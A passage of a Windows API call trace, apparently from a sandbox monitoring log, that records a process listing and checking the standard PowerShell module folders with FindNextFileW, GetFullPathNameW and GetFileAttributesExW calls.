nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0169.535] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0169.536] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0169.536] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0169.536] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0169.536] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0169.536] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0169.536] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0169.536] FindNextFileW (in: hFindFile=0x3b4fa8, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.536] FindClose (in: hFindFile=0x3b4fa8 | out: hFindFile=0x3b4fa8) returned 1 [0169.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0169.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0169.536] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0169.537] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0169.537] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0169.537] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0169.537] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0169.537] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0169.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0169.537] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0169.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.537] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0169.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.538] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0169.538] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0169.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.538] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.538] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0169.538] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0169.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.538] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.539] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0169.539] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0169.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.539] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0169.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0169.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.540] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0169.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0169.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.540] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0169.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0169.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.541] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0169.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0169.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.541] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0169.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0169.541] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0169.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.541] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0169.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0169.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.542] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0169.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0169.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1c0) returned 1 [0169.542] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5a2e484 | out: lpFileInformation=0x5a2e484*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0169.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1bc) returned 1 [0169.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0169.543] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0169.543] SetThreadErrorMode (dwNewMode=0x1, 